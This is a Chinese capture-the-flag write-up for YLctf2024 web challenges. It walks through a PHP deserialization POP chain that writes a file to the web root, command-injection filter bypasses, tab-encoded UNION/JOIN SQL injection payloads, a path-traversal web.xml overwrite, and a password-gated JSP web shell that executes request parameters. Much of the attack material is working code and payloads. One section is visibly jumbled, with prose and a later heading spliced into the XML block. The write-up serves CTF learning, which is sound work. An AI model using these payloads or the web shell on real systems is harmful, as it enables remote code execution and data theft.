title: YLctf2024
date: 2024-10-28 19:23:59
tags: [sql的join, php反序列化, xml文件上传]
categories: [比赛复现]

简单 :pExpl

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<?php
error_reporting(0);


class FileHandler {
private $fileHandle;
private $fileName;

public function __construct($fileName, $mode = 'r') {
$this->fileName = $fileName;
$this->fileHandle = fopen($fileName, $mode);
if (!$this->fileHandle) {
throw new Exception("Unable to open file: $fileName");
}
echo "File opened: $fileName\n";
}

public function readLine() {
return fgets($this->fileHandle);
}

public function writeLine($data) {
fwrite($this->fileHandle, $data . PHP_EOL);
}

public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}

class User {

private $userData = [];

public function __set($name, $value) {
if ($name == 'password') {
$value = password_hash($value, PASSWORD_DEFAULT);
}
$this->userData[$name] = $value;
}

public function __get($name) {
return $this->userData[$name] ?? null;
}

public function __toString() {
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
call_user_func($this->data,$this->params);
}
return "Hello";
}

public function __isset($name) {
return isset($this->userData[$name]);
}
}

class Logger {
private $logFile;
private $lastEntry;

public function __construct($logFile = 'application.log') {
$this->logFile = $logFile;
}

private function log($level, $message) {
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;

file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
}

public function setLogFile($logFile) {
$this->logFile = $logFile;
}

public function clearOldLogs($daysToKeep = 30) {
$files = glob("*.log");
$now = time();
foreach ($files as $file) {
if (is_file($file)) {
if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
unlink($file);
}
}
}
}

public function __call($name, $arguments) {

$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);
} else {
throw new Exception("Invalid log level: $name");
}
}

public function __invoke($message, $level = 'INFO') {
$this->log($level, $message);
}
}

if(isset($_GET['exp'])) {
if(preg_match('/<\?php/i',$_GET['exp'])){
exit;
}
$exp = unserialize($_GET['exp']);
throw new Exception("Test!");
} else {
highlight_file(__FILE__);
}

访问题⽬⾸⻚发现直接提供 php 源码,简单分析代码,实现了⼀个反序列化功能,提供了⼏个类。存在 throw

new Exception(“Test!”); 和检测 <?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。

构造⼀下 POP 链,根据分析利⽤点在以下代码:

1
2
3
4
5
private function log($level, $message) {
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;

file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
}

触发点通常就是常⻅的 __destruct() ,也就是如下:

1
2
3
4
5
6
7
 public function __destruct() {
if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
fclose($this->fileHandle);
echo "File closed: {$this->fileName}\n";
}
}
}

通过它调⽤到 User#__toString ,该⽅法中存在 call_user_func 函数,思考能不能直接触发命令执⾏,由于存

在参数的限制,显然不能直接调⽤,所以考虑调⽤类中不存在的函数,触发 __call ⽅法。

1
2
3
4
5
6
7
8
9
public function __call($name, $arguments) {

$validLevels = ['info', 'warning', 'error', 'debug'];
if (in_array($name, $validLevels)) {
$this->log(strtoupper($name), $arguments[0]);
} else {
throw new Exception("Invalid log level: $name");
}
}

由于上述代码中,存在 in_array 的判断,所以需要调⽤到 array 中的⼀个,然后在触发⽂件写⼊,构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName){
$this->fileName = $fileName;
}
}
class User {
private $userData = [];
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile)
{
$this->logFile = $logFile;
}
}
$c = new Logger("/var/www/html/1.php");
$b = new User();
$b->data = [$c,"info"];
$b->params = "<?=phpinfo()?>";
$a = new FileHandler($b);
$a1 = array($a,null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);

简单:shxpl

image-20241028193528278

域名查看器:

过滤:空格可以用%09代替

baidu.com,过滤了;,|| ——-但是没有过滤&&

过滤了cat,tac,less,可以用more,nl代替

flag被过滤就用通配符[a-z],?也行

image-20241028194336828

[Round 1] sInXx

image-20241028200447933

可以进行查询,但是发现怎么也不能注入,这里的空格变成了%09才能注入

一个:juan79%27%09and%09%281%3D1%29%23

image-20241028200625738

image-20241028200641664

一个:juan79%27%09and%09%281%3D2%29%23

用union select联合注入,但是不能用,就只能用join

数据表:

1
1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23

数据列:

1
1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09 sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

数据:

1
1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%09%602%60%09FROM%09%28SELECT%09*%09FROM%09%28%28SELECT%091%29a%09JOIN%09%09%28SELECT%092%29b%29%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG%29p%09limit%092%09offset%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23

image-20241028201648786

中等-TOXEC

题⽬提供了⼀个简单的⽹盘存储功能,如下图:

经过测试可以上传除含有 jsp、class的⽂件,同时经过测试,在重命名处,可以利⽤ ../ 穿越⼀层⽬录,所以我们

考虑利⽤替换 web.xml 来实现RCE,上传内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<!-- 配置默认servlet来处理静态资源 -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<!-- JSP Servlet 映射 -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
通过重命名进⾏替换:
以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:
上传后访问并执⾏命令,如下图:
中等-Injct
访问⾸⻚发现如下界⾯:
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>

通过重命名进⾏替换:

image-20241028204156548

以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

上传后访问并执⾏命令,如下图

image-20241028205041434

重命名大多是可以目录穿越的

[Round 2] Cmnts

image-20241030201316129

image-20241030201326560

1
get_th1s_f1ag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);

if (isset($pass)) {
$key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
echo $flag;
}
else {
highlight_file(__FILE__);
}

根据分析,只要满⾜ $key == ‘a7a795a8efb7c30151031c2cb700ddd9’ 即可以提供 flag ,该代码还提供了

parse_str 函数,该函数的功能如下图:

image-20241030201759145

所以,构造如下 payload :

1
?key=a7a795a8efb7c30151031c2cb700ddd9

image-20241030201830643